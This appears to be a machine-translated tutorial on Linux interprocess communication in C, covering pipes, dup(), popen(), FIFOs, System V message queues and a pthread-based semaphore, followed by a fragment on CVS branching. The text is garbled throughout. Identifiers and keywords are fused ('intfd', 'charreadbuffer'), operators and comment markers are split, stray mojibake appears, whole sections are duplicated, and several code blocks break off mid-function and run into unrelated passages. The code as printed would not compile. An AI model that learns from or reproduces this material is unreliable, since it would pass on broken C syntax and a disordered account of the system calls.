/ * Send "string" through the out put side of pipe * /
write (fd [1], string, strlen (string));
exit (0);
}
else
{
/ * Parent process closes up out put side of pipe * /
close (fd [1]);
/ * Readinastringfromthepipe * /
nbytes = read (fd [0], readbuffer, sizeof (readbuffer)) ;
printf ("Receivedstring:% s", readbuffer);
}
return (0);
} In
general, the file descriptor in the child process will be copied to the standard input and output. This way the child process can use exec () to execute another program, which inherits the standard data flow.
[Directory]
----------------------------------------------- ---------------------------------
dup ()
system call: dup ();
prototype: inddup (intoldfd);
Return: If the system call succeeds, a new file descriptor
is returned. If the system call fails, -1 is returned: errno = EBADF (oldfd is not a valid file descriptor)
EBADF (newfd is out of range)
EMFILE (process file descriptors too many)
Note that the old file descriptor oldfd is not closed. Although the old file descriptor and the newly created file descriptor can be used interchangeably, in general, you need to close one first. The system call dup () uses the free file descriptor with the smallest number.
π¦ MORE PROGRAMMING :
Directory]
----------------------------------------------- ---------------------------------
pipe ()
system call: pipe ();
prototype: intpipe (intfd [2 ]);
Return value: If the system call is successful, return 0
If the system call fails, return -1: errno = EMFILE (no free file descriptor)
EMFILE (system file table is full)
EFAULT (fd array is invalid)
Note fd [0 ] Is used to read the pipeline, and fd [1] is used to write the pipeline.
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
main ()
{
intfd [2];
pipe (fd);
..
}
Once the pipeline is created, we can create one New child process:
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
main ()
{
intfd [2];
pid_t childpid;
pipe (fd);
if ((childpid = fork ()) ==-1)
{
perror ("fork");
exit (1);
} ..
}
If the parent process wants to read data from the child process, then it should close fd1, and at the same time The child process closes fd0. Conversely, if the parent process wishes to send data to the child process, then it should close fd0 and the child process closes fd1. Because the file descriptor is shared between the parent process and the child process, we must promptly close the end of the unnecessary pipeline. From a technical point of view, if one end of the pipe is not closed properly, you will not get an EOF.
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
main ()
{
intfd [2];
pid_t childpid;
pipe (fd);
if ((childpid = fork ()) = = -1)
{
perror ("fork");
exit (1);
}
if (childpid == 0)
{
/ * Child process closes up in put side of pipe * /
close (fd [0]);
}
else
{
/ * Parent process closes up out put put of side of pipe * /
close (fd [1]);
} ..
}
As mentioned before, once the pipeline is created, the file descriptor used by the pipeline is the same as the normal file The file descriptor is the same.
#include <stdio.h>
#include <unistd.h>
#include <sys / types.h>
intmain (void)
{
intfd [2], nbytes;
pid_tchildpid;
charstring [] = "Hello, world!";
charreadbuffer [ 80];
pipe (fd);
if ((childpid = fork ()) ==-1)
{
perror ("fork");
exit (1);
}
if (childpid == 0)
{
/ * Child process closes up in put side of pipe * /
close (fd [0]);
/ * Send "string" through the out put side of pipe * /
write (fd [1], string, strlen (string));
exit (0);
}
else
{
/ * Parent process closes up out put side of pipe * /
close (fd [1]);
/ * Readinastringfromthepipe * /
nbytes = read (fd [0], readbuffer, sizeof (readbuffer)) ;
printf ("Receivedstring:% s", readbuffer);
}
return (0);
} In
general, the file descriptor in the child process will be copied to the standard input and output. This way the child process can use exec () to execute another program, which inherits the standard data flow.
[Directory]
----------------------------------------------- ---------------------------------
dup ()
system call: dup ();
prototype: inddup (intoldfd);
Return: If the system call succeeds, a new file descriptor
is returned. If the system call fails, -1 is returned: errno = EBADF (oldfd is not a valid file descriptor)
EBADF (newfd is out of range)
EMFILE (process file descriptors too many)
Note that the old file descriptor oldfd is not closed. Although the old file descriptor and the newly created file descriptor can be used interchangeably, in general, you need to close one first. The system call dup () uses the free file descriptor with the smallest number.
#include <stdio.h>
# defineMAXSTRS5
intmain (void)
{
intcntr;
FILE * pipe_fp;
char * strings [MAXSTRS] = {"echo", "bravo", "alpha",
"charlie", "delta"};
/ * Createonewaypipelinewithcalltopopen () * /
if (( pipe_fp = popen ("sort", "w")) == NULL)
{
perror ("popen");
exit (1);
}
/ * Processingloop * /
for (cntr = 0; cntr <MAXSTRS; cntr ++) {
fputs (strings [cntr], pipe_fp);
fputc ('', pipe_fp);
}
/ * Closethepipe * /
pclose (pipe_fp);
return (0);
}
Because popen () uses the shell to execute commands, all shell extensions and Wildcards can be used. In addition, it can also use redirection and output pipeline functions with popen (). Look at the following example again:
popen ("ls ~ scottb", "r");
The following program is another example using popen (), which opens two pipes (one for the ls command and the other for the
sort command):
#include <stdio.h>
intmain (void)
{
FILE * pipein_fp, * pipeout_fp;
charreadbuf [80];
/ * Createonewaypipelinewithcalltopopen () * /
if ((pipein_fp = popen ("ls", "r")) == NULL)
{
perror ("popen");
exit (1);
}
/ * Createonewaypipelinewithcalltopopen () * /
if ((pipeout_fp = popen ("sort", "w")) == NULL)
{
perror ("popen");
exit (1);
}
/ * Processingloop * /
while (fgets (readbuf, 80, pipein_fp))
fputs (readbuf, pipeout_fp);
/ * Closethepipes * /
pclose (pipein_fp);
pclose (pipeout_fp);
return (0);
}
Finally, let's look at another example using popen (). This program is used to create a pipeline between a command and a file:
#include <stdio.h>
intmain (intargc, char * argv [])
{
FILE * pipe_fp, * infile;
charreadbuf [80];
if (argc! = 3 ) {
fprintf (stderr, "USAGE: popen3 [command] [filename]");
exit (1);
}
/ * Open up input file * /
if ((infile = fopen (argv [2], "rt")) == NULL)
{
perror ("fopen");
exit (1);
}
/ * Create one way pipe line with call topopen () * /
if ((pipe_fp = popen (argv [1], "w")) = = NULL)
{
perror ("popen");
exit (1);
}
/ * Processingloop * /
do {
fgets (readbuf, 80, infile);
if (feof (infile)) break;
fputs (readbuf, pipe_fp);
} while (! feof (infile));
fclose (infile);
pclose (pipe_fp);
return (0);
}
The following is an example of using this program:
popen3sortpopen3.c
popen3catpopen3.c
popen3morepopen3.c
popen3catpopen3.c | grepmain
[directory]
------------------------------------------ --------------------------------------
Named pipes
Named pipes are basically the same as general pipes, but There are also some significant differences:
* Named pipes exist as a special device file in the file system.
* Data can be shared between processes of different ancestors through pipes.
* When the shared pipe process has performed all I / O operations, the named pipe will continue to be saved in the file system for later use.
A pipe must have both a reading process and a writing process. If a process attempts to write to a pipe that has no read process, the system kernel will generate a SIGPIPE signal. This is especially important when more than two processes use pipes at the same time.
[Directory]
----------------------------------------------- ---------------------------------
There are several ways to create a FIFO to create a named pipe. The first two methods can use the shell.
mknodMYFIFOp
mkfifoa = rwMYFIFO
The two names above perform the same operation, but there is one difference. The command mkfifo provides a way to directly change the access rights of the FIFO file after creation, and the command mknod needs to call the command chmod.
A physical file system can easily distinguish a FIFO file through the p indicator.
$ ls-lMYFIFO
prw-r--r--1rootroot0Dec1422: 15MYFIFO |
Please note the pipe symbol "|" after the file name.
We can use the system call mknod () to create a FIFO pipeline:
library function: mknod ();
prototype: intmknod (char * pathname, mode_tmode, dev_tdev);
return value: if successful, return 0
if failed, return -1: errno = EFAULT (invalid path name)
EACCES (no access permission)
ENAMETOOLONG (path name too long)
ENOENT (invalid path name)
ENOTDIR (invalid path name)
Let's look at an example of using C language to create a FIFO pipeline:
# defineMAXSTRS5
intmain (void)
{
intcntr;
FILE * pipe_fp;
char * strings [MAXSTRS] = {"echo", "bravo", "alpha",
"charlie", "delta"};
/ * Createonewaypipelinewithcalltopopen () * /
if (( pipe_fp = popen ("sort", "w")) == NULL)
{
perror ("popen");
exit (1);
}
/ * Processingloop * /
for (cntr = 0; cntr <MAXSTRS; cntr ++) {
fputs (strings [cntr], pipe_fp);
fputc ('', pipe_fp);
}
/ * Closethepipe * /
pclose (pipe_fp);
return (0);
}
Because popen () uses the shell to execute commands, all shell extensions and Wildcards can be used. In addition, it can also use redirection and output pipeline functions with popen (). Look at the following example again:
popen ("ls ~ scottb", "r");
The following program is another example using popen (), which opens two pipes (one for the ls command and the other for the
sort command):
#include <stdio.h>
intmain (void)
{
FILE * pipein_fp, * pipeout_fp;
charreadbuf [80];
/ * Createonewaypipelinewithcalltopopen () * /
if ((pipein_fp = popen ("ls", "r")) == NULL)
{
perror ("popen");
exit (1);
}
/ * Createonewaypipelinewithcalltopopen () * /
if ((pipeout_fp = popen ("sort", "w")) == NULL)
{
perror ("popen");
exit (1);
}
/ * Processingloop * /
while (fgets (readbuf, 80, pipein_fp))
fputs (readbuf, pipeout_fp);
/ * Closethepipes * /
pclose (pipein_fp);
pclose (pipeout_fp);
return (0);
}
Finally, let's look at another example using popen (). This program is used to create a pipeline between a command and a file:
#include <stdio.h>
intmain (intargc, char * argv [])
{
FILE * pipe_fp, * infile;
charreadbuf [80];
if (argc! = 3 ) {
fprintf (stderr, "USAGE: popen3 [command] [filename]");
exit (1);
}
/ * Open up input file * /
if ((infile = fopen (argv [2], "rt")) == NULL)
{
perror ("fopen");
exit (1);
}
/ * Create one way pipe line with call topopen () * /
if ((pipe_fp = popen (argv [1], "w")) = = NULL)
{
perror ("popen");
exit (1);
}
/ * Processingloop * /
do {
fgets (readbuf, 80, infile);
if (feof (infile)) break;
fputs (readbuf, pipe_fp);
} while (! feof (infile));
fclose (infile);
pclose (pipe_fp);
return (0);
}
The following is an example of using this program:
popen3sortpopen3.c
popen3catpopen3.c
popen3morepopen3.c
popen3catpopen3.c | grepmain
[directory]
------------------------------------------ --------------------------------------
Named pipes
Named pipes are basically the same as general pipes, but There are also some significant differences:
* Named pipes exist as a special device file in the file system.
* Data can be shared between processes of different ancestors through pipes.
* When the shared pipe process has performed all I / O operations, the named pipe will continue to be saved in the file system for later use.
A pipe must have both a reading process and a writing process. If a process attempts to write to a pipe that has no read process, the system kernel will generate a SIGPIPE signal. This is especially important when more than two processes use pipes at the same time.
[Directory]
----------------------------------------------- ---------------------------------
There are several ways to create a FIFO to create a named pipe. The first two methods can use the shell.
mknodMYFIFOp
mkfifoa = rwMYFIFO
The two names above perform the same operation, but there is one difference. The command mkfifo provides a way to directly change the access rights of the FIFO file after creation, and the command mknod needs to call the command chmod.
A physical file system can easily distinguish a FIFO file through the p indicator.
$ ls-lMYFIFO
prw-r--r--1rootroot0Dec1422: 15MYFIFO |
Please note the pipe symbol "|" after the file name.
We can use the system call mknod () to create a FIFO pipeline:
library function: mknod ();
prototype: intmknod (char * pathname, mode_tmode, dev_tdev);
return value: if successful, return 0
if failed, return -1: errno = EFAULT (invalid path name)
EACCES (no access permission)
ENAMETOOLONG (path name too long)
ENOENT (invalid path name)
ENOTDIR (invalid path name)
Let's look at an example of using C language to create a FIFO pipeline:
mknod ("/ tmp / MYFIFO ", S_IFIFO | 0666,0);
In this example, the file / tmp / MYFIFO is the FIFO file to be created. Its access authority is 0666. Access permissions
can also be modified using umask:
final_umask = requested_permissions & ~ original_umask
A commonly used method of using system call umask () is to temporarily clear the value of
umask : umask (0);
mknod ("/ tmp / MYFIFO", S_IFIFO | 0666,0);
In addition, mknod () The third parameter in can only be used when creating a device file. It includes the
major and minor device numbers of the device file .
}
}
[Directory]
--------------------------------------------- -----------------------------------
Operation FIFO
I / O operation on FIFO and I on normal pipeline / O operations are basically the same, with one major difference. The system call open is used to physically open a pipe. In a half-duplex pipeline, this is unnecessary. Because the pipeline is in the system kernel, not in a physical file system. In our example, we will use the pipeline like a file stream, that is, use fopen () to open the pipeline and fclose () to close it.
Look at the following simple service program process:
#include <stdio.h>
#include <stdlib.h>
#include <sys / stat.h>
#include <unistd.h>
#include <linux / stat.h>
# defineFIFO_FILE "MYFIFO"
{
FILE * fp;
charreadbuf [80];
/ * CreatetheFIFOifitdoesnotexist * /
umask (0);
mknod (FIFO_FILE, S_IFIFO | 0666,0);
while (1)
{
fp = fopen (FIFO_FILE, "r");
fgets (readbuf , 80, fp);
printf ("Receivedstring:% s", readbuf);
fclose (fp);
return (0);
Because the FIFO pipeline has a blocking function by default, you can run this program in the background:
$ fifoserver &
Let's take a look at the following simple client program:
#include <stdio.h>
#include <stdlib.h>
#defineFIFO_FILE "MYFIFO"
intmain (int argc, char * argv [])
{
FILE * fp;
if (argc! = 2) {
printf ("USAGE: fifoclient [string]");
exit (1);
}
if ((fp = fopen (FIFO_FILE, "w")) == NULL) {
perror ("fopen");
exit (1);
}
fputs (argv [1], fp);
fclose (fp);
return (0);
}
[directory]
------------- -------------------------------------------------- -----------------
Blocking FIFO
Under normal circumstances, there will be blocking on the FIFO pipeline. In other words, if a FIFO pipe is opened for reading, it will block until other processes open the pipe to write information. This process is also reversed. If you don't need a blocking function, you can set the O_NONBLOCK flag in the system call open (), which will cancel the default blocking function.
[Directory]
----------------------------------------------- ---------------------------------
message queue
in SystemV versions of UNIX, aT & T introduced three new forms of IPC Features (message queue, semaphore, and shared memory). But the BSD version of UNIX uses sockets as the main form of IPC. The Linux system supports both versions.
[Directory]
----------------------------------------------- ---------------------------------
msgget ()
system call msgget ()
If you want to create a new message queue, or want to access an existing message queue, you can use the system call msgget ().
System call: msgget ();
Prototype: intmsgget (key_t key, int msgflg);
Return value: If successful, return message queue identifier
If it fails, return -1: errno = EACCESS (permission not allowed)
EEXIST (queue already exists , Cannot be created)
EIDRM (the queue flag is deleted)
ENOENT (the queue does not exist)
ENOMEM (the memory is not enough when creating the queue)
ENOSPC (the maximum queue limit is exceeded
) The first parameter in the system call msgget () is the keyword value (usually Returned by ftok ()). Then this keyword value will be compared with other keyword values ββalready in the system kernel. At this time, the opening and access operations are related to the content of the parameter msgflg.
IPC_CREAT Create this queue if it is not in the kernel.
IPC_EXCL, when used with IPC_CREAT, fails if the queue already exists.
In this example, the file / tmp / MYFIFO is the FIFO file to be created. Its access authority is 0666. Access permissions
can also be modified using umask:
final_umask = requested_permissions & ~ original_umask
A commonly used method of using system call umask () is to temporarily clear the value of
umask : umask (0);
mknod ("/ tmp / MYFIFO", S_IFIFO | 0666,0);
In addition, mknod () The third parameter in can only be used when creating a device file. It includes the
major and minor device numbers of the device file .
}
}
[Directory]
--------------------------------------------- -----------------------------------
Operation FIFO
I / O operation on FIFO and I on normal pipeline / O operations are basically the same, with one major difference. The system call open is used to physically open a pipe. In a half-duplex pipeline, this is unnecessary. Because the pipeline is in the system kernel, not in a physical file system. In our example, we will use the pipeline like a file stream, that is, use fopen () to open the pipeline and fclose () to close it.
Look at the following simple service program process:
#include <stdio.h>
#include <stdlib.h>
#include <sys / stat.h>
#include <unistd.h>
#include <linux / stat.h>
# defineFIFO_FILE "MYFIFO"
{
FILE * fp;
charreadbuf [80];
/ * CreatetheFIFOifitdoesnotexist * /
umask (0);
mknod (FIFO_FILE, S_IFIFO | 0666,0);
while (1)
{
fp = fopen (FIFO_FILE, "r");
fgets (readbuf , 80, fp);
printf ("Receivedstring:% s", readbuf);
fclose (fp);
return (0);
Because the FIFO pipeline has a blocking function by default, you can run this program in the background:
$ fifoserver &
Let's take a look at the following simple client program:
#include <stdio.h>
#include <stdlib.h>
#defineFIFO_FILE "MYFIFO"
intmain (int argc, char * argv [])
{
FILE * fp;
if (argc! = 2) {
printf ("USAGE: fifoclient [string]");
exit (1);
}
if ((fp = fopen (FIFO_FILE, "w")) == NULL) {
perror ("fopen");
exit (1);
}
fputs (argv [1], fp);
fclose (fp);
return (0);
}
[directory]
------------- -------------------------------------------------- -----------------
Blocking FIFO
Under normal circumstances, there will be blocking on the FIFO pipeline. In other words, if a FIFO pipe is opened for reading, it will block until other processes open the pipe to write information. This process is also reversed. If you don't need a blocking function, you can set the O_NONBLOCK flag in the system call open (), which will cancel the default blocking function.
[Directory]
----------------------------------------------- ---------------------------------
message queue
in SystemV versions of UNIX, aT & T introduced three new forms of IPC Features (message queue, semaphore, and shared memory). But the BSD version of UNIX uses sockets as the main form of IPC. The Linux system supports both versions.
[Directory]
----------------------------------------------- ---------------------------------
msgget ()
system call msgget ()
If you want to create a new message queue, or want to access an existing message queue, you can use the system call msgget ().
System call: msgget ();
Prototype: intmsgget (key_t key, int msgflg);
Return value: If successful, return message queue identifier
If it fails, return -1: errno = EACCESS (permission not allowed)
EEXIST (queue already exists , Cannot be created)
EIDRM (the queue flag is deleted)
ENOENT (the queue does not exist)
ENOMEM (the memory is not enough when creating the queue)
ENOSPC (the maximum queue limit is exceeded
) The first parameter in the system call msgget () is the keyword value (usually Returned by ftok ()). Then this keyword value will be compared with other keyword values ββalready in the system kernel. At this time, the opening and access operations are related to the content of the parameter msgflg.
IPC_CREAT Create this queue if it is not in the kernel.
IPC_EXCL, when used with IPC_CREAT, fails if the queue already exists.
If IPC_CREAT is used alone, msgget () either returns the identifier of a newly created message queue or the identifier of a queue with the same key value. If IPC_EXCL and IPC_CREAT are used together, msgget () either creates a new message queue or returns a failure value of -1 if the queue already exists. IPC_EXCL is useless by itself.
Let's look at an example of opening and creating a message queue:
intopen_queue (key_t keyval)
{
intqid;
if ((qid = msgget (keyval, IPC_CREAT | 0660)) ==-1)
{
return (-1);
}
return (qid);
}
[directory]
-------------- -------------------------------------------------- ----------------
msgsnd ()
system call msgsnd ()
Once we get the queue identifier, we can perform the operation we want on the queue. If you want to send a message to the queue, you can use the system call msgsnd ():
system call: msgsnd ();
prototype: intmsgsnd (int msqid, struct msgbuf * msgp, int msgsz, int msgflg);
return value: if successful , 0.
If it fails, -1: errno = EAGAIN (the queue is full and IPC_NOWAIT is used)
EACCES (no write permission)
EFAULT (invalid msgp address)
EIDRM (the message queue has been deleted)
EINTR (when waiting for a write operation, a Signal)
EINVAL (invalid message queue identifier, non-positive message type, or
invalid message length)
ENOMEM (not enough memory to copy message buffer)
The first parameter of the system call msgsnd () is the message queue identifier, which is returned by the system call msgget. The second parameter is msgp, which is a pointer to the message buffer. The parameter msgsz contains the size of the message in bytes, but does not include the length of the message type (4 bytes).
The parameter msgflg can be set to 0 (this parameter is ignored at this time), or use IPC_NOWAIT.
If the message queue is full, the message will not be written to the message queue and control will return to the calling process. If not specified, the calling process will hang until the message can be written to the queue.
The following is a program to send messages:
intsend_message (int qid, struct mymsgbuf * qbuf)
{
intresult, length;
/ * The length is essentially the size of the structure minus sizeof (mtype) * /
length = sizeof (structmymsgbuf) -sizeof ( long);
if ((result = msgsnd (qid, qbuf, length, 0)) ==-1)
{
return (-1);
}
return (result);
}
This applet tries to store the buffer in qbuf The message is sent to the message queue qid. The following program is a complete program combining the above two programs:
#include <stdio.h>
#include <stdlib.h>
#include <linux / ipc.h>
#include <linux / msg.h>
main ()
{
intqid;
key_t msgkey;
struct mymsgbuf {
longmtype; / * Message type * /
intrequest; / * Work request number * /
doublesalary; / * Employee's salary * /
} msg;
/ * Generateour IPC key value * /
msgkey = ftok (".", 'M');
/ * Open / createthequeue * /
if ((qid = open_queue (msgkey)) ==-1) {
perror ("open_queue");
exit (1);
}
/ * Load up the message with ar bitrary test data * /
msg.mtype = 1; / * Messagetypemustbeapositivenumber! * /
msg.request = 1; / * Dataelement # 1 * /
msg.salary = 1000.00; / * Data element # 2 (my yearly salary!) * /
/ * Bombsaway! * /
If ((send_message (qid, &msg)) ==-1) {
perror ("send_message");
exit (1);
}
}
After creating and opening the message queue, we load the test data into the message buffer. Finally, send_messag is called to send the message to the message queue. Now that there is a message in the message queue, we can use the ipcs command to view the status of the queue. The following discusses how to get messages from the queue. You can use the system call msgrcv ():
[directory]
--------------------------------------- -----------------------------------------
msgrcv ()
Let's look at an example of opening and creating a message queue:
intopen_queue (key_t keyval)
{
intqid;
if ((qid = msgget (keyval, IPC_CREAT | 0660)) ==-1)
{
return (-1);
}
return (qid);
}
[directory]
-------------- -------------------------------------------------- ----------------
msgsnd ()
system call msgsnd ()
Once we get the queue identifier, we can perform the operation we want on the queue. If you want to send a message to the queue, you can use the system call msgsnd ():
system call: msgsnd ();
prototype: intmsgsnd (int msqid, struct msgbuf * msgp, int msgsz, int msgflg);
return value: if successful , 0.
If it fails, -1: errno = EAGAIN (the queue is full and IPC_NOWAIT is used)
EACCES (no write permission)
EFAULT (invalid msgp address)
EIDRM (the message queue has been deleted)
EINTR (when waiting for a write operation, a Signal)
EINVAL (invalid message queue identifier, non-positive message type, or
invalid message length)
ENOMEM (not enough memory to copy message buffer)
The first parameter of the system call msgsnd () is the message queue identifier, which is returned by the system call msgget. The second parameter is msgp, which is a pointer to the message buffer. The parameter msgsz contains the size of the message in bytes, but does not include the length of the message type (4 bytes).
The parameter msgflg can be set to 0 (this parameter is ignored at this time), or use IPC_NOWAIT.
If the message queue is full, the message will not be written to the message queue and control will return to the calling process. If not specified, the calling process will hang until the message can be written to the queue.
The following is a program to send messages:
intsend_message (int qid, struct mymsgbuf * qbuf)
{
intresult, length;
/ * The length is essentially the size of the structure minus sizeof (mtype) * /
length = sizeof (structmymsgbuf) -sizeof ( long);
if ((result = msgsnd (qid, qbuf, length, 0)) ==-1)
{
return (-1);
}
return (result);
}
This applet tries to store the buffer in qbuf The message is sent to the message queue qid. The following program is a complete program combining the above two programs:
#include <stdio.h>
#include <stdlib.h>
#include <linux / ipc.h>
#include <linux / msg.h>
main ()
{
intqid;
key_t msgkey;
struct mymsgbuf {
longmtype; / * Message type * /
intrequest; / * Work request number * /
doublesalary; / * Employee's salary * /
} msg;
/ * Generateour IPC key value * /
msgkey = ftok (".", 'M');
/ * Open / createthequeue * /
if ((qid = open_queue (msgkey)) ==-1) {
perror ("open_queue");
exit (1);
}
/ * Load up the message with ar bitrary test data * /
msg.mtype = 1; / * Messagetypemustbeapositivenumber! * /
msg.request = 1; / * Dataelement # 1 * /
msg.salary = 1000.00; / * Data element # 2 (my yearly salary!) * /
/ * Bombsaway! * /
If ((send_message (qid, &msg)) ==-1) {
perror ("send_message");
exit (1);
}
}
After creating and opening the message queue, we load the test data into the message buffer. Finally, send_messag is called to send the message to the message queue. Now that there is a message in the message queue, we can use the ipcs command to view the status of the queue. The following discusses how to get messages from the queue. You can use the system call msgrcv ():
[directory]
--------------------------------------- -----------------------------------------
msgrcv ()
semaphore child _ counter is used to force the parent thread to block until two child threads execute the printf statement and the subsequent semaphore_up (& child_counter) statement. carried out.
Semaphore.h
#ifndef SEMAPHORES
#define SEMAPHORES
#include
#include
typedef struct Semaphore
{
int v;
pthread_mutex_t mutex;
pthread_cond_t cond;
}
S emaphore;
int semaphore_down (Semaphore * S);
int semaphore_decrement (Semaphore * S);
int semaphore_up (Semaphore * S);
void semaphore_destroy (Semaphore * S);
void semaphore_init (Semaphore * S);
int semaphore_value ( semaphore * S);
int tw_pthread_cond_signal (pthread_cond_t * C);
int tw_pthread_cond_wait (pthread_cond_t * C, pthread_mutex_t * m);
int tw_pthread_mutex_unlock (pthread_mutex_t * m);
int tw_pthread_mutex_lock (pthread_mutex_t * m);
void do_error (char * MSG);
# endif
Semaphore.c
#include "semaphore.h"
/ *
* function must be called prior to semaphore use.
*
* /
void
semaphore_init (Semaphore * s)
{
s-> v = 1;
if (pthread_mutex_init (& (s-> mutex), pthread_mutexattr_default) == -1)
do_error ("Error setting up semaphore mutex");
if ( pthread_cond_init (& (s-> cond), pthread_condattr_default) == -1)
do_error ("Error setting up semaphore condition signal");
* function should be called when there is no longer a need for
* the semaphore.
*
* /
void
semaphore_destroy (Semaphore * s)
{
if (pthread_mutex_destroy (& (s-> mutex)) == -1)
do_error ("Error destroying semaphore mutex");
if (pthread_cond_destroy (& (s->cond)) == -1)
do_error ("Error destroying semaphore condition signal");
}
/ *
* function increments the semaphore and signals any threads that
* are blocked waiting a change in the semaphore.
*
* /
int
semaphore_up (Semaphore * s)
{
int value_after_op;
tw_pthread_mutex_lock ( & (s-> mutex));
(s-> v) + +;
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
tw_pthread_cond_signal (& (s-> cond));
return (value_after_op );
}
/ *
* function decrements the semaphore and blocks if the semaphore is
* <= 0 until another thread signals a change.
*
* /
int
semaphore_down (Semaphore * s)
{
int value_after_op;
tw_pthread_mutex_lock (& ββ(s-> mutex));
while (s-> v <= 0)
{
tw_pthread_cond_wait (& (s-> cond), & (s-> mutex) );
}
(s-> v)--;
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
return (value_after_op);
}
/ *
* function does NOT block but simply decrements the semaphore.
* should not be used instead of down-only for programs where
* multiple threads must up on a semaphore before another thread
* can go down, ie, allows programmer to set the semaphore to
* a negative value prior to using it for synchronization.
*
* /
int
semaphore_decrement (Semaphore * s)
(
int value_after_op;
tw_pthread_mutex_lock (& ββ(s-> mutex)); s-> v--
;
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
return (value_after_op);
}
/ *
* function returns the value of the semaphore at the time the
* critical section is accessed. obviously the value is not guarenteed
* after the function unlocks the critical section. provided only
* for casual debugging, a better approach is for the programmar to
* protect one semaphore with another and then check its value.
* an alternative is to simply record the value returned by semaphore_up
* or semaphore_down.
*
* /
int
semaphore_value (Semaphore * s)
{
/ * not for sync * /
int value_after_op;
tw_pthread_mutex_lock (& ββ(s-> mutex));
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
return (value_after_op);
}
/ * -------------------------------------- ------------------------------ * /
/ * The following functions replace standard library functions in that * /
/ * they exit on any error returned from the system calls. Saves us * /
/ * from having to check each and every call above. * /
/ * ---------------------- ---------------------------------------------- * /
int
tw_pthread_mutex_unlock (pthread_mutex_t * m)
{
int the return_value;
IF ((pthread_mutex_unlock the return_value = (m)) == -1)
do_error ( "pthread_mutex_unlock");
return (the return_value);
}
int
Semaphore.h
#ifndef SEMAPHORES
#define SEMAPHORES
#include
#include
typedef struct Semaphore
{
int v;
pthread_mutex_t mutex;
pthread_cond_t cond;
}
S emaphore;
int semaphore_down (Semaphore * S);
int semaphore_decrement (Semaphore * S);
int semaphore_up (Semaphore * S);
void semaphore_destroy (Semaphore * S);
void semaphore_init (Semaphore * S);
int semaphore_value ( semaphore * S);
int tw_pthread_cond_signal (pthread_cond_t * C);
int tw_pthread_cond_wait (pthread_cond_t * C, pthread_mutex_t * m);
int tw_pthread_mutex_unlock (pthread_mutex_t * m);
int tw_pthread_mutex_lock (pthread_mutex_t * m);
void do_error (char * MSG);
# endif
Semaphore.c
#include "semaphore.h"
/ *
* function must be called prior to semaphore use.
*
* /
void
semaphore_init (Semaphore * s)
{
s-> v = 1;
if (pthread_mutex_init (& (s-> mutex), pthread_mutexattr_default) == -1)
do_error ("Error setting up semaphore mutex");
if ( pthread_cond_init (& (s-> cond), pthread_condattr_default) == -1)
do_error ("Error setting up semaphore condition signal");
* function should be called when there is no longer a need for
* the semaphore.
*
* /
void
semaphore_destroy (Semaphore * s)
{
if (pthread_mutex_destroy (& (s-> mutex)) == -1)
do_error ("Error destroying semaphore mutex");
if (pthread_cond_destroy (& (s->cond)) == -1)
do_error ("Error destroying semaphore condition signal");
}
/ *
* function increments the semaphore and signals any threads that
* are blocked waiting a change in the semaphore.
*
* /
int
semaphore_up (Semaphore * s)
{
int value_after_op;
tw_pthread_mutex_lock ( & (s-> mutex));
(s-> v) + +;
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
tw_pthread_cond_signal (& (s-> cond));
return (value_after_op );
}
/ *
* function decrements the semaphore and blocks if the semaphore is
* <= 0 until another thread signals a change.
*
* /
int
semaphore_down (Semaphore * s)
{
int value_after_op;
tw_pthread_mutex_lock (& ββ(s-> mutex));
while (s-> v <= 0)
{
tw_pthread_cond_wait (& (s-> cond), & (s-> mutex) );
}
(s-> v)--;
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
return (value_after_op);
}
/ *
* function does NOT block but simply decrements the semaphore.
* should not be used instead of down-only for programs where
* multiple threads must up on a semaphore before another thread
* can go down, ie, allows programmer to set the semaphore to
* a negative value prior to using it for synchronization.
*
* /
int
semaphore_decrement (Semaphore * s)
(
int value_after_op;
tw_pthread_mutex_lock (& ββ(s-> mutex)); s-> v--
;
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
return (value_after_op);
}
/ *
* function returns the value of the semaphore at the time the
* critical section is accessed. obviously the value is not guarenteed
* after the function unlocks the critical section. provided only
* for casual debugging, a better approach is for the programmar to
* protect one semaphore with another and then check its value.
* an alternative is to simply record the value returned by semaphore_up
* or semaphore_down.
*
* /
int
semaphore_value (Semaphore * s)
{
/ * not for sync * /
int value_after_op;
tw_pthread_mutex_lock (& ββ(s-> mutex));
value_after_op = s-> v;
tw_pthread_mutex_unlock (& ββ(s-> mutex));
return (value_after_op);
}
/ * -------------------------------------- ------------------------------ * /
/ * The following functions replace standard library functions in that * /
/ * they exit on any error returned from the system calls. Saves us * /
/ * from having to check each and every call above. * /
/ * ---------------------- ---------------------------------------------- * /
int
tw_pthread_mutex_unlock (pthread_mutex_t * m)
{
int the return_value;
IF ((pthread_mutex_unlock the return_value = (m)) == -1)
do_error ( "pthread_mutex_unlock");
return (the return_value);
}
int
Of course, here is just a demo.In actual program development, this technology has a very useful effect, so I won't go into details here. Interested friends can refer to related books.
4.3.2 Creating a branch allows users to modify some files using the command commit without affecting the trunk. To create a branch, you should first create a tag for those files that you want to modify. The
tag is assigned to a file or a group of files Symbol. In the life cycle of the source code, the files that make up a group of modules are assigned the same tags. After executing
~ usr / teat / $ cvs tag release-1-0
tag creation in the working directory , you can create it One branch:
~ usr / teat / $ cvs rtag -b -r release-1-0 release-1-0-path print
-b: create branch
-r release-1-0: specify the existing label
releas-1-0 -patch: branch
print: module name
using cvs update -j option to change the local file copy of the merger on the branch.
~ usr / teat / $ cvs update -j Release-1-0 print.c
source file mutatis mutandis after, you can delete the local working copy with cvs release
and inform other developers no longer use this module.
~ use / $ cvs release -d the Test
4.3.3 to resolve conflicts
when there are multiple users make changes to the same file, if you modify the The same part of it, and if the revised content is not Then, conflict is inevitable.
For example, there is a file test.c in the CVS file repository, and its version is 1.4. User A first checks out the file for modification, and later user B checks out the file for modification and submits it to 1.5 in advance. When user A resubmits, there will be a conflict. At this time, CVS will prompt that it needs to be resolved manually.
For example, version 1.4 in the file repository: The content is:
#include
main ()
{
int i;
for (i = 0; i <100; i ++)
printf (βCount:% dβ, i);
}
